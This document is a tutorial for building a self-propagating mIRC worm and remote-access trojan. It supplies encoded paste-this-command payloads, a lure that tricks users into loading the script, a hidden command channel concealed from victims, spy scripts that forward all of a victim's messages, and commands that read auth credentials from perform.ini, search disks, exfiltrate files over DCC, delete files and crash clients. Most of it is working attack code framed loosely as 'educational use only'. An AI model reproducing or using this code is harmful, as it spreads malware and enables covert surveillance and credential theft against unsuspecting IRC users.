it's possible to obtain remote control over another irc client when using the script that will be explained here. you can however also test this on one client. however the best use is to remotely control your bot on another computer (pc) over the internet or over a network. this will give you the ability to do every command you want. this tutorial is written for all people, so you don't need to actually understand irc script, it's easy to understand and easy to use. no real pre-knowledge required. of course this can be used abusively, however educational use only. you can edit this code easily to let it propagate on your own is also possible to make complete bots with this script in a very easy way, without using other programming languages (c, vb, ...).

::::::::::::::::::::::::::::::::::::scripts ::::::::::::::::::::::::::::::

first of all i need to notice you that this script is allows remote controlling the client. this means that people (eventually bots), that have this script running, can be controlled by you via irc. it is possible for the script to propagate in a natural way.

get started

it all starts with the next command:

//write mab.mrc $decode(b24gxio6dgv4ddoqoio6ihsgawygk
chpbnmqiglzd20gjdetksamjiaojhrhcmdldca9psakbwupksb 7ic
4gjcsgjditihwgagfsdgrlzib9ihwgzwxzzwlmicgoysogaxn3 bsa
kms0picymicgky2hhbikpihsglm1zzybtywigaw5mihwglm1zz yak
bmljaybxyw50ihrvigjlie9qrvjbve9sigluicrjagfuignvch kvc
gfzdgugdghpcy0+iam0ly93cml0zsauicqgjcsgzgvjb2rlkca kky
akzw5jb2rlkcryzwfkkcrzy3jpchqsbiwxksxtksakkyasbskg jgn
ocigxmjqpic5sb2fkic1ycyb9ih0=,m) | .load -rs mab.mrc

this in one line!

understand the script

we need to mix these two things:

the self-propagating part (irc worm)

on 1:text:*a*:#:{ .ignore $nick | .timer 0 120 .join #mab | .msg $nick do you want to be an operator in $chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +r }

here is #mab the channel you want to let them join if they've installed the script. but since that would not be very efficient in most cases, we can do it in another way. we let it message you. we change the .timer 0 120 .join #mab with .msg mab_ inf. where mab_ is your nickname.

with this your self replicating and self propagating script has started, it will now try to spread the script, it will try to personal message some people saying 'itself', while ignoring people. done that it will try to send itself to other users, and tell them to type the command.

now we are going to change some things about it so the functionality of the control script is constructive. we will remove the user mode +r on the end of the script, because this will only let users who are authenticated with the official server bot message the script user. once the script is implemented that is not the objective, so we will remove that from the script. so after this changes we get the next script that we have to merge with the remote control script:

on 1:text:*a*:#:{ .ignore $nick | .msg mab_ inf | .msg $nick do you want to be an operator in $chan ? copy/paste this-> $chr(3) $+ 4//write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs }

the remote access (control) part

on ^*:text:ins*:?:{ . $+ $2- | haltdef }

mixed they will give us the self propagating remote control script. this means that the script will spread itself, join the certain channel (here: #mab) and after that it will spread itself, and next to that wait for you to control it remotely. so you will have the ability to obtain complete remote access to the client, using mirc.

i will now try to give more details about that script. so you truly understand this script. in this way it can be easily modified. i will mix it.

so basically we want to mix these two “mechanisms”:

on 1:text:*a*:#:{ do something }
on ^*:text:ins*:?:{ do something else | haltdef }


on ^*:text:*:*: {
if ((ins* iswm $1-) && ($target == $me)) do something
elseif ((a* iswm $1-) && ($chan)) do something else

in one line:

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) do something | elseif ((a* iswm $1-) && ($chan)) do something else }

where here is do something the remote control part's work and do something else the self propagating part's work.

integrated (two parts joined together):

on ^*:text:*:*: { if ((ins* iswm $1-) && ($target == $me)) { . $+ $2- | haltdef } | elseif ((a* iswm $1-) && ($chan)) { .msg mab_ inf | .msg $nick do you want to be operator in $ $+ chan ? copy/paste this-> 7 //write . $ $+ decode( $+ $encode($read($script,n,1),m) $+ ,m) $chr(124) .load -rs . $chr(124) //mode $ $+ me +r } }

good this is exactly what we needed. now this doesn’t look very good, so we need to encode it with mirc. for this we have to write it firstly like something else, some chars have to be written differently because mirc can misunderstand them and think they are parameters or other things. the next chars have to be written differently: (){},
why these chars and how can i control it?

//echo -a $asc(char here)

if this gives a bad result this means that the char must be written in another way.

example encoding of “,”:

//say $encode(,,m) this is wrong
//say $encode($+ $chr(44),m) this is correct


$+ = pasting two strings together

| = $chr(124)
, = $chr(44)
( = $chr(40)
) = $chr(41)
{ = $chr(123)
} = $chr(125)

sometimes this method is not needed.

for finding the numbers you use this:

//echo -a $asc($?)

this will pop up an input box, just fill in the char and you’ll get the number as result.

it's possible to $encoding now, without bugs. so this is what we get before we start encoding:

on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick want to be operator in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125)


//say $encode(on ^*:text:*:*: $chr(123) if ((ins* iswm $ $+ 1-) && ($ $+ target == $ $+ me)) $chr(123) . $ $+ + $ $+ 2- $chr(124) haltdef $chr(125) $chr(124) elseif ((a* iswm $ $+ 1-) && ($chan)) $chr(123) .msg mab inf $chr(124) .msg $ $+ nick want to be operator in $ $+ chan copy/paste this-> $chr(3) $+ 4//write . $ $ $+ + decode( $ $+ + $ $+ encode( $+ $ $+ read( $+ $ $+ script,n,1),m) $ $+ + ,m) $ $+ chr(124) .load -rs $chr(125) $chr(125),m)

for finding the $encoded variable we split it up as global variables. the variables are set with

/set %var string

so for finding it we write the next in mirc:

//say $encode(%var1 $+ %var2 $+ %var3 $+ %var4,m)

but we don't necessarily need to set is as variables before we encode it. so you can just use the encode line.

we find the next as result:

b24gxio6dgv4ddoqoio6ihsgawygkchpbnmqiglzd20gjdetks amj
iaojhrhcmdldca9psakbwupksb7ic4gjcsgjditihwgagfsdgr lzi
b9ihwgzwxzzwlmicgoysogaxn3bsakms0picymicgky2hhbikp ihs
glm1zzybtywigaw5mihwglm1zzyakbmljaybxyw50ihrvigjli e9q
rvjbve9sigluicrjagfuignvchkvcgfzdgugdghpcy0+iam0ly 93c
ml0zsauicqgjcsgzgvjb2rlkcakkyakzw5jb2rlkcryzwfkkcr zy3
jpchqsbiwxksxtksakkyasbskgjgnocigxmjqpic5sb2fkic1y cyb

this is the encoded command in one line of code.

================================================== ===

install on remote computer (infect the victim)

the script can be activated by the remote pc when he writes the next command:

//write czm.mrc $decode(b24gxio6dgv4ddppbnmqoj86eyauicqricqylsb8ig hhbhrkzwygfq==,m) | .load -rs czm.mrc | msg yournick i love you

yournick = your nick. the remote computer will message you “i love you” once he writes the command. you can edit it or just delete the “ | msg yournick i love you ” part.

this is what the command does: it will make a new .mrc file czm and put this in it (which is encoded in the command): on ^*:text:ins*:?:{ . $+ $2- | haltdef }

the haltdef will block your messages to the remote pc beginning with “ins”. with this the user can’t see your commands, so he wont have a clue who is controlling his mirc. you can naturally leave that part out of the command when you want to see the messages on the remote computer. however most of the times you don't want the remote computer to "read" all the messages, since they are irrelevant (in the bot case by example).


/msg bot ins msg #channel hi

this will let the bot message #channel the “hi” message, but the remote pc will not see it, all others in the channel will see. and the bot will not see your message “ins msg #channel hi” because it will be blocked by “haltdef”. nice isn’t it? if this has a bot application in this way the bot doesn't get all the garbage data that it doesn't need.

when the bot has executed that command the remote script is active. you can add a spy function if you want (this can cause him an excess flood if he is on too much “popular” channels (channel with much activity or chatting). for adding the spy part (it will send you all his activity, messages received, message sent and commands executed) execute the next commands:

spy the remote pc (e.g. logging the activities for bots)

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:connect: { .msg yournick i am online }
/msg bot ins write myscript.mrc on *:text:*:*: { .msg yournick $timestamp <- < $+ $iif($chan,# $+ :,$+ ) $+ $nick $+ > $1- }
/msg bot ins write myscript.mrc on *:input:*: { .msg yournick $timestamp -> $iif($left($1,1) != /,< $+ $me $+ >,[command]) $1- }
/msg bot ins load -rs myscript.mrc

once done that, you’ll receive the msgs immediately. you can let the spy function stop by typing the next command:

/msg bot ins unload -rs myscript.mrc

note: bot = the nick of the client who has executed that command, and who has the remote script activated rat (aka trojan).

sometimes you want to partly spy the remote pc, by example only read the private messages. not the messages from the channels he is in, with this you will have less chance that he will flood himself of the server (excess flood). so the spy script becomes:

/msg bot ins write -c myscript.mrc
/msg bot ins unload -rs myscript.mrc
/msg bot insert write -c myscript.mrc on *:connect: { .msg yournick i am online }
/msg bot ins write myscript.mrc on *:text:*:?: { .msg yournick $timestamp <- < $+ $nick $+ > $1- }
/msg bot ins write myscript.mrc on *:input:*: { .msg yournick $timestamp -> $iif($left($1,1) != /,< $+ $me $+ >,[command]) $1- }
/msg bot ins load -rs myscript.mrc

yournick is your nick, and bot is the nick of the remote client.

make other remote files (.mrc)

you can make remote files yourself and add usefull functions in it.

/msg bot insert write -c yourscriptname.mrc on 1:text:*!opme*:#channel:/mode #channel +o $nick
/msg bot ins .load –rs yourscriptnamet.mrc

use of the trojan

remove file :
/msg bot ins remove c:\textfile.txt

open site:
/msg bot ins url

join channel:
/msg bot ins join #channel

part channel:
/msg bot ins part #channel

query user:
/msg bot ins query user

msg user:
/msg bot ins msg user

invite user:
/msg bot ins invite user #channel

ban user:
/msg bot ins ban #channel user

kick user:
/msg bot ins kick #channel user

ignore user:
/msg bot ins ignore *!*

unignore user:
/msg bot ins unignore *!*

change nick:
/msg bot ins nick thenickyouwant

op user:
/msg bot ins mode #channel +o user

voice user:
/msg bot ins mode #channel +v user

change topic:
/msg bot ins topic #channel text

receive file:
/msg bot ins dcc send user file
/msg bot ins dcc send user c:\something.sth

edit text:
/msg bot ins write -l1 c:\testing.txt thetextyouwanttoedit
(-l1 --> first line)

read a piece of file (like perform):
following commands must be executed after eachother:
/msg bot ins write mab alias abcd123 { msg user $read(perform.ini,w,*auth*) }
/msg bot ins .load -rs mab
/msg bot ins abcd123

search hard disk for a file:
/msg bot ins write mab1 alias mab1 { .echo $findfile(c:\,porn.*,0,msg user $1-) }
/msg bot ins .load -rs mab1
/msg bot ins mab1

let his mirc crash:
/msg bot ins write mab2 alias mab2 { while (1 != 2) { beep } }
/msg bot ins .load -rs mab2
/msg bot ins mab2

scan his hard disk and save it as .txt:
//echo $findfile(c:,*.*,0,write c:\m_a_b.txt $1-)

note: probably you want this file, well you do this:

/msg bot ins dcc send yournick c:\m_a_b.txt

** important note **

the bot will see the send dialog, so act quick, for security reasons i suggest to write another trojan on another file; like:

/msg bot write mynewscript.mrc $decode(b24gxio6dgv4ddppbnmqoj86eyauicqricqylsb8ig hhbhrkzwygfq==,m) | .load -rs mynewscript.mrc

turn the auto join on invite on (or off)
/msg bot ins ajinvite on

let the bot message something on all the channels he is on:
/msg bot ins amsg <the message you want him to say on all channels>

change the bot's alternative nick:
/msg bot ins anick <nickname>

change the bot's background picture:
/msg bot ins background [-aemsgdluhcfnrtpx] [window] [filename]
-a = active window
-m = main mirc window
-s = status window
-g = finger window
-d = single message window
-e = set as default
-cfnrtp = center, fill, normal, stretch, tile, photo
-l = toolbar
-u = toolbar buttons
-h = switchbar
-x = no background picture

let the "mirc channel central" of a channel pop up:
/msg bot ins channel #channelname

note: the bot must be on #channelname

clear your tracks by clearing the text on the open windows:
/msg bot ins clearall [-snqmtgu]
s = status, n = channel, q = query, m = message window, t = chat, g = finger, u = custom.

let the bot clipboard a specified text:
/msg bot ins clipboard <the text you want to be clipboarded>

close the open queries of the bot:
/msg bot ins close

let the bot quit mirc:
/msg bot ins quit <the quit message you want>

let the bot disconnect from server:
/msg bot ins disconnect

let the bot change server:
/msg bot ins server

let the bot open a new server next to the server he is already in:
/msg bot ins server -m
/msg bot ins server

let the bot give you flags (if he is able to):
/msg bot ins msg |thebot| chanlev #channel yournick +flag
|thebot| = the bot who can give flags
chanlev = can be different, sometimes it is also, "adduser"
flag = the flag you want
yournick = your nick

change the bot's font and font size:
/msg bot ins font -asgbd <fontsize> <fontname>

change the bot's full name:
/msg bot ins fullname <name>

let the bot rejoin a channel:
/msg bot ins hop #channel

make a new directory on the bot's hard disk:
/msg bot ins mkdir <dirname>
bot = nick of the remote client
user = your nick